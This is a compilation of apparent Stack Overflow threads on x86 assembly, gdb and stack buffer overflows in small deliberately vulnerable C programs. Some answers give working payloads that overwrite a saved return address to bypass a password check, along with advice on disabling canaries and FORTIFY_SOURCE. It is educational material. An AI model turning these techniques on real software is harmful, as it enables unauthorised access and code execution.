Experimental buffer overflow in Ubuntu 10 (assembly) - c

I am trying to overflow buffer in Ubuntu 10.04 using a C program and diverting the return address to function "junk". But I am not able to overwrite the return address with the address of unused function "junk". It just dumps some unknown address on 12 bytes of stack. Please help me troubleshoot it. Here is the C code:-
(gdb) list
1 #include<stdio.h>
2 void display()
3 {
4 char buff[8];
5 gets(buff);
6 puts(buff);
7 }
8 main()
9 {
10 display();
(gdb)
11 return(0);
12 }
13 junk()
14 {
15 printf("cracked");
16 }
The disasambled code for main is:-
Dump of assembler code for function main:
0x08048462 <+0>: push %ebp
0x08048463 <+1>: mov %esp,%ebp
0x08048465 <+3>: call 0x8048444 <display>
0x0804846a <+8>: mov $0x0,%eax
0x0804846f <+13>: pop %ebp
0x08048470 <+14>: ret
End of assembler dump.
Dump of assembler code for function display:
0x08048444 <+0>: push %ebp
0x08048445 <+1>: mov %esp,%ebp
0x08048447 <+3>: sub $0xc,%esp
0x0804844a <+6>: lea -0x8(%ebp),%eax
0x0804844d <+9>: mov %eax,(%esp)
0x08048450 <+12>: call 0x8048350 <gets#plt>
0x08048455 <+17>: lea -0x8(%ebp),%eax
0x08048458 <+20>: mov %eax,(%esp)
0x0804845b <+23>: call 0x8048380 <puts#plt>
0x08048460 <+28>: leave
0x08048461 <+29>: ret
End of assembler dump.
Dump of assembler code for function junk:
0x08048471 <+0>: push %ebp
0x08048472 <+1>: mov %esp,%ebp
0x08048474 <+3>: sub $0x4,%esp
0x08048477 <+6>: mov $0x8048550,%eax
0x0804847c <+11>: mov %eax,(%esp)
0x0804847f <+14>: call 0x8048370 <printf#plt>
0x08048484 <+19>: leave
0x08048485 <+20>: ret
End of assembler dump.
Now i assemble it without stack protection:-
gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o buffer buffer.c
If i give input of:- printf "wwwwwwwwwwww\x72\x84\x04\x08" | ./buffer
The value:- "x72\x84\x04\x08" as the diverted address of 1st instruction of unused function "junk".
It stores some strange memory values on the 12 bytes alongwith return address also, but not my address. And again gives "Segmentation Fault". Is there some other way to exploit buffer in newer Linux flavors?

leave is equivalent to the following:
movl %ebp, %esp
popl %ebp
Thus, in your case, if you supply 'wwww' for %ebp, the program is going to try and do something like this:
movl $0x77777777, %esp ; 0x77777777 = 'wwww'
popl %ebp ; read from address 0x77777777!
You need to supply a reasonable value for %esp!

Related

Basic buffer overflow tutorial

I'm learning about basic buffer overflows, and I have the following C code:
int your_fcn()
{
char buffer[4];
int *ret;
ret = buffer + 8;
(*ret) += 16;
return 1;
}
int main()
{
int mine = 0;
int yours = 0;
yours = your_fcn();
mine = yours + 1;
if(mine > yours)
printf("You lost!\n");
else
printf("You won!\n");
return EXIT_SUCCESS;
}
My goal is to bypass the line mine = yours + 1;, skip straight to the if statement comparison, so I can "win". main() cannot be touched, only your_fcn() can.
My approach is to override the return address with a buffer overflow. So in this case, I identified that the return address should be 8 bytes away from buffer, since buffer is 4 bytes and EBP is 4 bytes. I then used gdb to identify that the line I want to jump to is 16 bytes away from the function call. Here is the result from gdb:
(gdb) disassemble main
Dump of assembler code for function main:
0x0000054a <+0>: lea 0x4(%esp),%ecx
0x0000054e <+4>: and $0xfffffff0,%esp
0x00000551 <+7>: pushl -0x4(%ecx)
0x00000554 <+10>: push %ebp
0x00000555 <+11>: mov %esp,%ebp
0x00000557 <+13>: push %ebx
0x00000558 <+14>: push %ecx
0x00000559 <+15>: sub $0x10,%esp
0x0000055c <+18>: call 0x420 <__x86.get_pc_thunk.bx>
0x00000561 <+23>: add $0x1a77,%ebx
0x00000567 <+29>: movl $0x0,-0xc(%ebp)
0x0000056e <+36>: movl $0x0,-0x10(%ebp)
0x00000575 <+43>: call 0x51d <your_fcn>
0x0000057a <+48>: mov %eax,-0x10(%ebp)
0x0000057d <+51>: mov -0x10(%ebp),%eax
0x00000580 <+54>: add $0x1,%eax
0x00000583 <+57>: mov %eax,-0xc(%ebp)
0x00000586 <+60>: mov -0xc(%ebp),%eax
0x00000589 <+63>: cmp -0x10(%ebp),%eax
0x0000058c <+66>: jle 0x5a2 <main+88>
0x0000058e <+68>: sub $0xc,%esp
0x00000591 <+71>: lea -0x1988(%ebx),%eax
I see the line 0x00000575 <+43>: call 0x51d <your_fcn> and 0x00000583 <+57>: mov %eax,-0xc(%ebp) are four lines away from each other, which tells me I should offset ret by 16 bytes. But the address from gdb says something different. That is, the function call starts on 0x00000575 and the line I want to jump to is on 0x00000583, which means that they are 15 bytes away?
Either way, whether I use 16 bytes or 15 bytes, I get a segmentation fault error and I still "lose".
Question: What am I doing wrong? Why don't the address given in gdb go by 4 bytes at a time and what's actually going on here. How can I correctly jump to the line I want?
Clarification: This is being done on a x32 machine on a VM running linux Ubuntu. I'm compiling with the command gcc -fno-stack-protector -z execstack -m32 -g guesser.c -o guesser.o, which turns stack protector off and forces x32 compilation.
gdb of your_fcn() as requested:
(gdb) disassemble your_fcn
Dump of assembler code for function your_fcn:
0x0000051d <+0>: push %ebp
0x0000051e <+1>: mov %esp,%ebp
0x00000520 <+3>: sub $0x10,%esp
0x00000523 <+6>: call 0x5c3 <__x86.get_pc_thunk.ax>
0x00000528 <+11>: add $0x1ab0,%eax
0x0000052d <+16>: lea -0x8(%ebp),%eax
0x00000530 <+19>: add $0x8,%eax
0x00000533 <+22>: mov %eax,-0x4(%ebp)
0x00000536 <+25>: mov -0x4(%ebp),%eax
0x00000539 <+28>: mov (%eax),%eax
0x0000053b <+30>: lea 0xc(%eax),%edx
0x0000053e <+33>: mov -0x4(%ebp),%eax
0x00000541 <+36>: mov %edx,(%eax)
0x00000543 <+38>: mov $0x1,%eax
0x00000548 <+43>: leave
0x00000549 <+44>: ret
x86 has variable length instructions, so you cannot simply count instructions and multiply by 4. Since you have the output from gdb, trust it to determine the address of each instruction.
The return address from the function is the address after the call instruction. In the code shown, this would be main+48.
The if statement starts at main+60, not main+57. The instruction at main+57 stores yours+1 into mine. So to adjust the return address to return to the if statement, you should add 12 (that is, 60 - 48).
Doing that skips the assignments to both yours and mine. Since they are both initialized to 0, it will print "You won".

disassemble code for 2 formats of printfs

I am trying to understand reasoning for seg fault with dissemble code.
Case 1.
char *p = NULL;
printf("%s", p);
O/p: No crash. it give me null. Further looking at disassemble code, it shows this one.
Dump of assembler code for function printf#plt:
0x00000000004003b8 <+0>: jmpq *0x2004aa(%rip) # 0x600868 <printf#got.plt>
0x00000000004003be <+6>: pushq $0x0
0x00000000004003c3 <+11>: jmpq 0x4003a8
End of assembler dump.
While i am trying to further go beyond this but do not know how to move to next set of instructions and what exactly it does.
Case 2.
int
main()
{
char *p = NULL;
printf("%s\n", p);
}
It leads to seg fault.
Disassemble code:
Dump of assembler code for function main:
0x00000000004004c4 <+0>: push %rbp
0x00000000004004c5 <+1>: mov %rsp,%rbp
0x00000000004004c8 <+4>: sub $0x10,%rsp
0x00000000004004cc <+8>: movq $0x0,-0x8(%rbp)
0x00000000004004d4 <+16>: mov -0x8(%rbp),%rax
0x00000000004004d8 <+20>: mov %rax,%rdi
0x00000000004004db <+23>: callq 0x4003b8 <puts#plt>
0x00000000004004e0 <+28>: leaveq
0x00000000004004e1 <+29>: retq
End of assembler dump.
(gdb) disassemble puts
Dump of assembler code for function puts#plt:
0x00000000004003b8 <+0>: jmpq *0x2004aa(%rip) # 0x600868 <puts#got.plt>
0x00000000004003be <+6>: pushq $0x0
0x00000000004003c3 <+11>: jmpq 0x4003a8
End of assembler dump.
Can u please help me to identify what assembler instruction is leading to seg fault?
0x00000000004003b8 <+0>: jmpq *0x2004aa(%rip) # 0x600868 <puts#got.plt>
Two important codewords here:
GOT -> Global Offset Table
PLT -> Procedure Linkage Table
This indicates it calls puts from dynamic library. Address of puts is not know at disassembly only time. Program must be run in order to allow dynamic linker bind address of library function to PLT slot.
What you need is:
(gdb) start
Temporary breakpoint 1 at 0x40053e: file c.c, line 9.
Starting program: /home/josef/DEVEL/test/test/a.out
Temporary breakpoint 1, main () at c.c:9
9 char *p = NULL;
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000400536 <+0>: push %rbp
0x0000000000400537 <+1>: mov %rsp,%rbp
0x000000000040053a <+4>: sub $0x10,%rsp
=> 0x000000000040053e <+8>: movq $0x0,-0x8(%rbp)
0x0000000000400546 <+16>: mov -0x8(%rbp),%rax
0x000000000040054a <+20>: mov %rax,%rdi
0x000000000040054d <+23>: callq 0x400410 <puts#plt>
0x0000000000400552 <+28>: leaveq
0x0000000000400553 <+29>: retq
End of assembler dump.
(gdb) disassemble puts
Dump of assembler code for function _IO_puts:
0x00007ffff7a84d60 <+0>: push %r12
0x00007ffff7a84d62 <+2>: mov %rdi,%r12
0x00007ffff7a84d65 <+5>: push %rbp
0x00007ffff7a84d66 <+6>: push %rbx
0x00007ffff7a84d67 <+7>: callq 0x7ffff7a9d9b0 <strlen>
0x00007ffff7a84d6c <+12>: mov 0x34fafd(%rip),%rbx # 0x7ffff7dd4870 <stdout>
0x00007ffff7a84d73 <+19>: mov %rax,%rbp
0x00007ffff7a84d76 <+22>: mov (%rbx),%eax
0x00007ffff7a84d78 <+24>: mov %rbx,%rdi
0x00007ffff7a84d7b <+27>: and $0x8000,%eax
0x00007ffff7a84d80 <+32>: jne 0x7ffff7a84ddf <_IO_puts+127>
0x00007ffff7a84d82 <+34>: mov 0x88(%rbx),%r8
......
Now you see what is inside puts. You can go forward and disassemble strlen
(gdb) disassemble strlen
Dump of assembler code for function strlen:
0x00007ffff7a9d9b0 <+0>: pxor %xmm8,%xmm8
0x00007ffff7a9d9b5 <+5>: pxor %xmm9,%xmm9
0x00007ffff7a9d9ba <+10>: pxor %xmm10,%xmm10
0x00007ffff7a9d9bf <+15>: pxor %xmm11,%xmm11
0x00007ffff7a9d9c4 <+20>: mov %rdi,%rax
0x00007ffff7a9d9c7 <+23>: mov %rdi,%rcx
0x00007ffff7a9d9ca <+26>: and $0xfff,%rcx
0x00007ffff7a9d9d1 <+33>: cmp $0xfcf,%rcx
0x00007ffff7a9d9d8 <+40>: ja 0x7ffff7a9da40 <strlen+144>
0x00007ffff7a9d9da <+42>: movdqu (%rax),%xmm12
0x00007ffff7a9d9df <+47>: pcmpeqb %xmm8,%xmm12
0x00007ffff7a9d9e4 <+52>: pmovmskb %xmm12,%edx
0x00007ffff7a9d9e9 <+57>: test %edx,%edx
0x00007ffff7a9d9eb <+59>: je 0x7ffff7a9d9f1 <strlen+65>
......
Good luck with analyzing all the code :)

Can not find return address in gdb

I wrote that program in C (just for debugging purposes):
void return_input(void)
{
char array[10];
gets(array);
printf("%s\n", array);
}
main()
{
return_input();
return 0;
}
I have been experimenting with stack overflows, and since I am working with a 64 bit machine I compiled it with
gcc -m32 -mpreferred-stack-boundary=2 -ggdb overflow.c -o overflow
I then debugged the program with gdb, and disassembled the return_input function, I got:
0x0804841b <+0>: push %ebp
0x0804841c <+1>: mov %esp,%ebp
0x0804841e <+3>: sub $0xc,%esp
0x08048421 <+6>: lea -0xa(%ebp),%eax
0x08048424 <+9>: push %eax
0x08048425 <+10>: call 0x80482e0 <gets#plt>
0x0804842a <+15>: add $0x4,%esp
0x0804842d <+18>: lea -0xa(%ebp),%eax
0x08048430 <+21>: push %eax
0x08048431 <+22>: call 0x80482f0 <puts#plt>
0x08048436 <+27>: add $0x4,%esp
0x08048439 <+30>: nop
0x0804843a <+31>: leave
0x0804843b <+32>: ret
This marks that the return address should be 0x0804843b (or is it not?) However, when examining the esp (remember this is a 32bit compiled program on a 64bit machine) with x/20x $esp (after setting a breakpoint at the gets function and the ret), I can't find the return address:
0xffffd400: 0xffffd406 0x080481ec 0x08048459 0x00000000
0xffffd410: 0xffffd418 0x08048444 0x00000000 0xf7e195f7
0xffffd420: 0x00000001 0xffffd4b4 0xffffd4bc 0x00000000
0xffffd430: 0x00000000 0x00000000 0xf7fb0000 0xf7ffdc04
0xffffd440: 0xf7ffd000 0x00000000 0xf7fb0000 0xf7fb0000
Why can't I see the return address? Sorry for the long question. Thanks in advance
0x0804843b is 'ret'. It seems you confused that with 'return address'. The return address is the address of the next instruction to execute in the calling function. In particular for this code:
0x08048425 <+10>: call 0x80482e0 <gets#plt>
0x0804842a <+15>: add $0x4,%esp
The return address is 0x0804842a.
Now, it is unclear what exactly did you do. Compiling as you specified, doing 'break gets' + 'run' works just fine for me. Are you sure you are dumping regs from "within" gets?
(gdb) disassemble return_input
Dump of assembler code for function return_input:
0x0804843b <+0>: push %ebp
0x0804843c <+1>: mov %esp,%ebp
0x0804843e <+3>: sub $0xc,%esp
0x08048441 <+6>: lea -0xa(%ebp),%eax
0x08048444 <+9>: push %eax
0x08048445 <+10>: call 0x8048300 <gets#plt>
0x0804844a <+15>: add $0x4,%esp
That's the instruction gets should return to.
0x0804844d <+18>: lea -0xa(%ebp),%eax
0x08048450 <+21>: push %eax
0x08048451 <+22>: call 0x8048310 <puts#plt>
0x08048456 <+27>: add $0x4,%esp
0x08048459 <+30>: nop
0x0804845a <+31>: leave
0x0804845b <+32>: ret
End of assembler dump.
(gdb) break gets
Breakpoint 1 at 0x8048300
(gdb) run
[..]
Breakpoint 1, 0xf7e3a005 in gets () from /lib/libc.so.6
(gdb) x/20x $esp
0xffffd160: 0x00000001 0xf7fa3000 0xffffd180 0x0804844a
And here it is on the 4th spot.
0xffffd170: 0xffffd176 0x0804820c 0x08048479 0x00000000
0xffffd180: 0xffffd188 0x08048464 0x00000000 0xf7df15a6
0xffffd190: 0x00000001 0xffffd224 0xffffd22c 0x00000000
0xffffd1a0: 0x00000000 0x00000000 0xf7fa3000 0xf7ffdbe4
(gdb)

Attempting a buffer overflow

I am attempting to change the result of a function using a buffer overflow to change the results on the stack with the following code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_auth1(char *password)
{
char password_buffer[8];
int auth_flag = 0;
strcpy(password_buffer, password);
if (strcmp(password_buffer, "cup") == 0) {
auth_flag = 1;
}
return auth_flag;
}
int main(int argc, char **argv)
{
if (argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
int authenticated = check_auth1(argv[1]);
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
return 0;
}
I'm using gdb to analyse the stack and this is what I have:
0xbffff6d0: 0xbffff8e4 0x0000002f 0xbffff72c 0xb7fd0ff4
0xbffff6e0: 0x08048540 0x08049ff4 0x00000002 0x0804833d
0xbffff6f0: 0x00000000 0x00000000 0xbffff728 0x0804850f
0xbffff700: 0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225
0xbffff710: 0xb7fed280 0x00000000 0x08048549 0xb7fd0ff4
0xbffff720: 0x08048540 0x00000000 0x00000000 0xb7e444d3
0xbffff730: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858
0xbffff740: 0x00000000 0xbffff71c 0xbffff7d0 0x00000000
[1] $ebp 0xbffff6f8
[2] $esp 0xbffff6d0
[3] password 0xbffff700
[4] auth_flag 0xbffff6ec
[5] password_buffer 0xbffff6e4
0x080484ce <+0>: push %ebp
0x080484cf <+1>: mov %esp,%ebp
0x080484d1 <+3>: and $0xfffffff0,%esp
0x080484d4 <+6>: sub $0x20,%esp
0x080484d7 <+9>: cmpl $0x1,0x8(%ebp)
0x080484db <+13>: jg 0x80484ff <main+49>
0x080484dd <+15>: mov 0xc(%ebp),%eax
0x080484e0 <+18>: mov (%eax),%edx
0x080484e2 <+20>: mov $0x8048614,%eax
0x080484e7 <+25>: mov %edx,0x4(%esp)
0x080484eb <+29>: mov %eax,(%esp)
0x080484ee <+32>: call 0x8048360 <printf#plt>
0x080484f3 <+37>: movl $0x0,(%esp)
0x080484fa <+44>: call 0x80483a0 <exit#plt>
0x080484ff <+49>: mov 0xc(%ebp),%eax
0x08048502 <+52>: add $0x4,%eax
0x08048505 <+55>: mov (%eax),%eax
0x08048507 <+57>: mov %eax,(%esp)
----------
IMPORTANT STUFF STARTS NOW
0x0804850a <+60>: call 0x8048474 <check_auth1>
0x0804850f <+65>: mov %eax,0x1c(%esp)
0x08048513 <+69>: cmpl $0x1,0x1c(%esp)
0x08048518 <+74>: je 0x8048528 <main+90>
I determined how far apart $ebp is from &password_buffer: 0xbffff6f8 - 0xbffff6e4 = 14 bytes
So with 14 'A' input, i.e. ./stackoverflowtest $(perl -e 'print "A" x 14') it should take me to "Allowed".
Where am I going wrong? What is the needed input to cause a overflow?
ASLR and gcc canaries are turned off.
check_auth1 assembly dump:
Dump of assembler code for function check_auth1:
0x08048474 <+0>: push %ebp
0x08048475 <+1>: mov %esp,%ebp
0x08048477 <+3>: push %edi
0x08048478 <+4>: push %esi
0x08048479 <+5>: sub $0x20,%esp
=> 0x0804847c <+8>: movl $0x0,-0xc(%ebp)
0x08048483 <+15>: mov 0x8(%ebp),%eax
0x08048486 <+18>: mov %eax,0x4(%esp)
0x0804848a <+22>: lea -0x14(%ebp),%eax
0x0804848d <+25>: mov %eax,(%esp)
0x08048490 <+28>: call 0x8048370 <strcpy#plt>
0x08048495 <+33>: lea -0x14(%ebp),%eax
0x08048498 <+36>: mov %eax,%edx
0x0804849a <+38>: mov $0x8048610,%eax
0x0804849f <+43>: mov $0x4,%ecx
0x080484a4 <+48>: mov %edx,%esi
0x080484a6 <+50>: mov %eax,%edi
0x080484a8 <+52>: repz cmpsb %es:(%edi),%ds:(%esi)
0x080484aa <+54>: seta %dl
0x080484ad <+57>: setb %al
0x080484b0 <+60>: mov %edx,%ecx
0x080484b2 <+62>: sub %al,%cl
0x080484b4 <+64>: mov %ecx,%eax
0x080484b6 <+66>: movsbl %al,%eax
0x080484b9 <+69>: test %eax,%eax
0x080484bb <+71>: jne 0x80484c4 <check_auth1+80>
0x080484bd <+73>: movl $0x1,-0xc(%ebp)
0x080484c4 <+80>: mov -0xc(%ebp),%eax
0x080484c7 <+83>: add $0x20,%esp
0x080484ca <+86>: pop %esi
0x080484cb <+87>: pop %edi
0x080484cc <+88>: pop %ebp
0x080484cd <+89>: ret
This is quite easy to exploit, here is the way to walk through.
First compile it with -g, it makes it easier to understand what you are doing. Then, our goal will be to rewrite the saved eip of check_auth1() and move it to the else-part of the test in the main() function.
$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9 int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
called by frame at 0xffffd320
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
We stopped at check_auth1() and displayed the stack frame. We saw that the saved eip is stored in the stack at 0xffffd2ec and contains 0x804853f.
Let see to what it does lead:
(gdb) disassemble main
Dump of assembler code for function main:
0x080484ff <+0>: push %ebp
0x08048500 <+1>: mov %esp,%ebp
0x08048502 <+3>: and $0xfffffff0,%esp
0x08048505 <+6>: sub $0x20,%esp
0x08048508 <+9>: cmpl $0x1,0x8(%ebp)
0x0804850c <+13>: jg 0x804852f <main+48>
0x0804850e <+15>: mov 0xc(%ebp),%eax
0x08048511 <+18>: mov (%eax),%eax
0x08048513 <+20>: mov %eax,0x4(%esp)
0x08048517 <+24>: movl $0x8048604,(%esp)
0x0804851e <+31>: call 0x8048360 <printf#plt>
0x08048523 <+36>: movl $0x0,(%esp)
0x0804852a <+43>: call 0x80483a0 <exit#plt>
0x0804852f <+48>: mov 0xc(%ebp),%eax
0x08048532 <+51>: add $0x4,%eax
0x08048535 <+54>: mov (%eax),%eax
0x08048537 <+56>: mov %eax,(%esp)
0x0804853a <+59>: call 0x80484bd <check_auth1>
0x0804853f <+64>: mov %eax,0x1c(%esp) <-- We jump here when returning
0x08048543 <+68>: cmpl $0x1,0x1c(%esp)
0x08048548 <+73>: je 0x8048558 <main+89>
0x0804854a <+75>: movl $0x804861a,(%esp)
0x08048551 <+82>: call 0x8048380 <puts#plt>
0x08048556 <+87>: jmp 0x8048564 <main+101>
0x08048558 <+89>: movl $0x8048627,(%esp) <-- We want to jump here
0x0804855f <+96>: call 0x8048380 <puts#plt>
0x08048564 <+101>: mov $0x0,%eax
0x08048569 <+106>: leave
0x0804856a <+107>: ret
End of assembler dump.
But the truth is that we want to avoid to go through the cmpl $0x1,0x1c(%esp) and go directly to the else-part of the test. Meaning that we want to jump to 0x08048558.
Anyway, lets first try to see if our 28 'A' are enough to rewrite the saved eip.
(gdb) next
10 strcpy(password_buffer, password);
(gdb) next
11 if (strcmp(password_buffer, "cup") == 0) {
Here, the strcpy did the overflow, so lets look at the stack-frame:
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
called by frame at 0xffffd2f4
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
Indeed, we rewrote the saved eip with 'A' (0x41 is the hexadecimal code for A). And, in fact, 28 is exactly what we need, not more. If we replace the four last bytes by the target address it will be okay.
One thing is that you need to reorder the bytes to take the little-endianess into account. So, 0x08048558 will become \x58\x85\x04\x08.
Finally, you will also need to write some meaningful address for the saved ebp value (not AAAA), so my trick is just to double the last address like this:
$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`
Note that there is no need to disable the ASLR, because you are jumping in the .text section (and this section do no move under the ASLR). But, you definitely need to disable canaries.
EDIT: I was wrong about replacing the saved ebp by our saved eip. In fact, if you do not give the right ebp you will hit a segfault when attempting to exit from main. This is because, we did set the saved ebp to somewhere in the .text section and, even if there is no problem when returning from check_auth1, the stack frame will be restored improperly when returning in the main function (the system will believe that the stack is located in the code). The result will be that the 4 bytes above the address pointed by the saved ebp we wrote (and pointing to the instructions) will be mistaken with the saved eip of main. So, either you disable the ASLR and write the correct address of the saved ebp (0xffffd330) which will lead to
$> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`
Or, you need to perform a ROP that will perform a clean exit(0) (which is usually quite easy to achieve).
you're checking against 1 exactly; change it to (the much more normal style for c programming)
if (! authenticated) {
and you'll see that it is working (or run it in gdb, or print out the flag value, and you'll see that the flag is being overwritten nicely, it's just not 1).
remember that an int is made of multiple chars. so setting a value of exactly 1 is hard, because many of those chars need to be zero (which is the string terminator). instead you are getting a value like 13363 (for the password 12345678901234).
[huh; valgrind doesn't complain even with the overflow.]
UPDATE
ok, here's how to do it with the code you have. we need a string with 13 characters, where the final character is ASCII 1. in bash:
> echo -n "123456789012" > foo
> echo $'\001' >> foo
> ./a.out `cat foo`
Allowed.
where i am using
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
also, i am relying on the compiler setting some unused bytes to zero (little endian; 13th byte is 1 14-16th are 0). it works with gcc bo.c but not with gcc -O3 bo.c.
the other answer here gets around this by walking on to the next place that can be overwritten usefully (i assumed you were targeting the auth_flag variable since you placed it directly after the password).
strcpy(password_buffer, password);
One of the things you will need to address during testing is this function call. If the program seg faults, then it could be because of FORTIFY_SOURCE. I'd like to say "crashes unexpectedly", but I don't think that applies here ;)
FORTIFY_SOURCE uses "safer" variants of high risk functions like memcpy and strcpy. The compiler uses the safer variants when it can deduce the destination buffer size. If the copy would exceed the destination buffer size, then the program calls abort().
To disable FORTIFY_SOURCE for your testing, you should compile the program with -U_FORTIFY_SOURCE or -D_FORTIFY_SOURCE=0.

Assembly operator AND

In order to continue this:
Debugging C program (int declaration)
I decided to test more code and see how compiler reacts to it.
So I decided to try this one to test local variables:
#include <stdio.h>
main()
{
int a,b,c,d,e,f,g;
a=0xbeef;
b=0xdead;
c=0x12;
d=0x65;
e=0xfed;
f=0xaa;
g=0xfaceb00c;
a=a+b;
printf("%d",a);
}
Ok I did that int a,b,c... just to test the main's frame size and see the sub $0x10,%esp growing up, (I'm under linux so that is why maybe is sub), now to sub $0x30,%esp
so here is the the gdb output with "disas main" command:
0x0804841c <+0>: push %ebp
0x0804841d <+1>: mov %esp,%ebp
0x0804841f <+3>: and $0xfffffff0,%esp
0x08048422 <+6>: sub $0x30,%esp ;7 int vars 4-byte is 7*4=28. 30 is enough
0x08048425 <+9>: movl $0xbeef,0x14(%esp)
0x0804842d <+17>: movl $0xdead,0x18(%esp)
0x08048435 <+25>: movl $0x12,0x1c(%esp)
0x0804843d <+33>: movl $0x65,0x20(%esp)
0x08048445 <+41>: movl $0xfed,0x24(%esp)
0x0804844d <+49>: movl $0xaa,0x28(%esp)
0x08048455 <+57>: movl $0xfaceb00c,0x2c(%esp)
0x0804845d <+65>: mov 0x18(%esp),%eax
0x08048461 <+69>: add %eax,0x14(%esp)
0x08048465 <+73>: mov 0x14(%esp),%eax
0x08048469 <+77>: mov %eax,0x4(%esp)
0x0804846d <+81>: movl $0x8048510,(%esp)
0x08048474 <+88>: call 0x80482f0 <printf#plt>
0x08048479 <+93>: leave
0x0804847a <+94>: ret
This line: 0x0804841f <+3>:and $0xfffffff0,%esp
what is and operator and why is there a large number?
And why the offset in movl commands isn't negative like: movl $0xa,-0x4(%ebp)
So far I know is the AND is a logical operator like 1 and 1 is 1, 0 and 0 is 0, 1 and 0 is 0 etc...
If it is the case, %esp has the ebp value that was the base frame address of who called the main function.
can any of you explain why this is compiled like this?
I think I'm missing something.
Edit: I saw some "topics" on stackoverflow talking about this. Going to share: link1
link2
link3
Why is the offset in movl $0xbeef,0x14(%esp) not negative?
Because unlike in the other example, addressing is relative to esp, not ebp. esp is on one end of the stack, esp on the other one. So in order to get an address inside the current stack frame, you need to add to esp or subtract from ebp.
Why and $0xfffffff0,%esp?
For alignment. #BlackBear explains this in the answer to your previous question: Debugging C program (int declaration)

Resources